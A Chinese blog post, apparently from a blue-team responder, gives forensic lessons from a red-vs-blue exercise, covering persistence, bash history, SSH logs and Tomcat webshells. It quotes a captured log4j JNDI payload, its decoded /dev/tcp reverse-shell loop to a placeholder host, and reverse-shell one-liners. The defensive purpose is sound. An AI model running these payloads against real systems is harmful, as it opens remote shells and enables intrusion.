红蓝对抗中蓝队的一些工作心得(一)

红蓝对抗中蓝队的一些工作心得(二)

红蓝对抗中蓝队的一些工作心得(三)

在红蓝对抗类网络攻防演练中,蓝队(防守方)一般要做的是,紧盯态势感知、防火墙等各种设备,发现并切断红队(攻击方)的攻击链条,对于失陷资产,做好善后、溯源工作,或根据游戏规则挽回失分甚至倒扣红队的分,或收集信息为今后梳理资产脆弱点做好准备。

拿到一台失陷主机,首先要看进程列表有没有可疑进程,能直接连通公网的 Linux 服务器,反弹 shell 可以很方便地在本地开启进程主动 TCP 出去连接红队的服务器,接收指令在本地运行。常见的反弹 shell 形如 /bin/bash -inc -e /bin/bash  、 python 的有 python -c "import os,socket,…… ,还有利用 perl 的等等不一而足。对于不能连公网的主机,则要重点关注内网穿透互联类工具如 frp 、 nps 等。再配合 netstat 查看一下有没有可疑网络连接,看看有没有某进程所连接的 IP 地址在业务上并不需要,却又可能跟红队攻击链有关。如有发现,要及时杀掉进程,封堵相应 IP 。本次遇到一些木马进程,把反连地址加密编码在运行参数中,再把进程名称改成和正常业务相混淆的文件名,甚至连磁盘上的原始文件都给删了。在发现问题进程但找不到落地文件的情况下,可以通过 /proc/<pid>/exe 把进程 dump 为文件保存到磁盘以便取证、研究。

其次要注意下权限维持的情况,并不是杀掉木马进程就可以高枕无忧。举个例子,红队可以在 crontab 中添加一个 “每 1 分钟起一次 bash 反弹 shell” 的计划任务,导致只杀死一次进程完全无济于事。除了 crontab 之外,用户的 bash 环境变量也是一个容易隐藏权限维持脚本的地方,导致用户一登录 ssh 就启动木马,也需要排查。当然,如果内网可以部署主机安全类产品,通过 agent 收集上述信息并上报、告警,可以省很多事儿。

无论是攻击者从 ssh 登录进来,还是通过 web 漏洞执行了命令,当前用户的 bash history 都是重要的线索之一。这里推荐在日常运维的时候打开 bash history 的 Unix 时间戳记录,方便和 web 日志、后端日志,以及其他机器的日志等交叉对照。本次攻防行动,红队通过批量下载 sshpass 搭配上已泄露的强密码、常见弱密码来登录别的机器。 sshpass 这种工具虽然方便,但在 bash 操作中容易把明文密码留在 bash history 中,在脚本中使用也是一样,容易暴露其他机器的明文 ssh 密码,安全与便利很难兼得。

面对失陷机器,我们很可能并不知道该机器是攻击链的起点、终点,还是中间环节。如果红队利用弱密码在内网渗透,ssh 的日志也是至关重要的。.ssh 目录中的 known hosts 文件是当前机器尝试(并不一定连成功)连过的所有 SSH 的 IP 地址和指纹,/var/log/secure 里有别的机器 SSH 过来认证成功和失败的详细记录,通过 grep 'Accepted'来筛选登录成功的记录非常方便。这样,一来一去都有迹可循。

不管是内部横向渗透,还是从公网暴露面打进来,除了 SSH 外,应用漏洞也是非常重要的利用点。本次行动,公网暴露面有一台运行着 java 数据采集服务的机器失陷,java 服务组件也比较老有三四个年头了。我们排查的时候首先直接就想到了核弹级漏洞 log4j,打开 java 日志,一搜常用的探测工具 dnslog,马上发现了蛛丝马迹,再搜 jndi:ldap:,发现了红队所执行的 payload 日志:

${jndi:ldap://<ip>:<port>/Basic/Command/Base64/<base64 encoded payload>}

base64 解码后形如:

exec 5<>/dev/tcp/<ip>/<port>;cat <&5|while read line;do $line >&5 2>&1;done

惭愧,这还是我第一次看到 log4j 的在野利用。这也提醒了我们,一旦爆发高危漏洞,所有有关的服务都要全面排查,这也对蓝队资产收集更新工作提出了更高的要求。在该主机上,其实 java 服务前面还套了一层 nginx 的反向代理,机主也算有些安全意识,在 nginx 配置文件中写了白名单 allow <ip>;,但百密一疏导致的致命问题是,他忘记了加 deny all; 来兜底,导致白名单没有生效,满盘皆输。这也凸显了老生常谈的话题——安全防御是一个不能有短板的围城,任何疏漏都会导致其他方面的努力付之东流。

在内网中,内部工作人员的麻痹意识就会更加明显,这也是零信任这种安全概念流行的原因之一。内网中有些部署了 java 服务的机器,tomcat 安装后压根没有通过 tomcat-user.xml 改过密码,被内网渗透大杀器fscan给扫了出来。这在安全人员眼里就像案板上的肥肉,直接通过/manager 路径,把 jsp 木马打包成 war 包上传,秒拿权限。这里,如果业务部署人员有直接拿 root 起服务的习惯,那就更是等同于给红队铺路了。

对于蓝队,用 fscan 这种攻击工具在内网自查自纠或提前于红队发现脆弱点也是相当推荐的。对于被种了上述 webshell 导致失陷的机器,当然要排查 tomcat 的/webapps 目录(nginxhttpd 则对应 web 目录、上传目录等)下的 webshell,不管是大马还是一句话,相信对于安全人员来说都不难鉴别。对于红队,拿到权限后必有下一步动作,上面说的检查手段依然有效,本次行动,我们还发现红队安装 nmap 、下载 fscan 和内网密码字典、下载运行 frp 一类内网穿透工具等一系列操作,目标一般是/tmp 目录,又或者根据机器当前的业务选一个有迷惑性的路径,再加上业务服务本身所在的目录和子目录,都需要重点排查。在这些路径中,如果红队匆匆使用 nohup 来运行偷鸡摸狗工具,蓝队当然要逐行细看 nohup.out 文件;对于 fscan 等扫描工具自动生成的结果文件如 result.txt,蓝队也需要查看来确定红队下一步的方向是什么。与此同时,通知失陷机器的机主及时修改密码,升级组件、修复漏洞也是份内的工作。

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注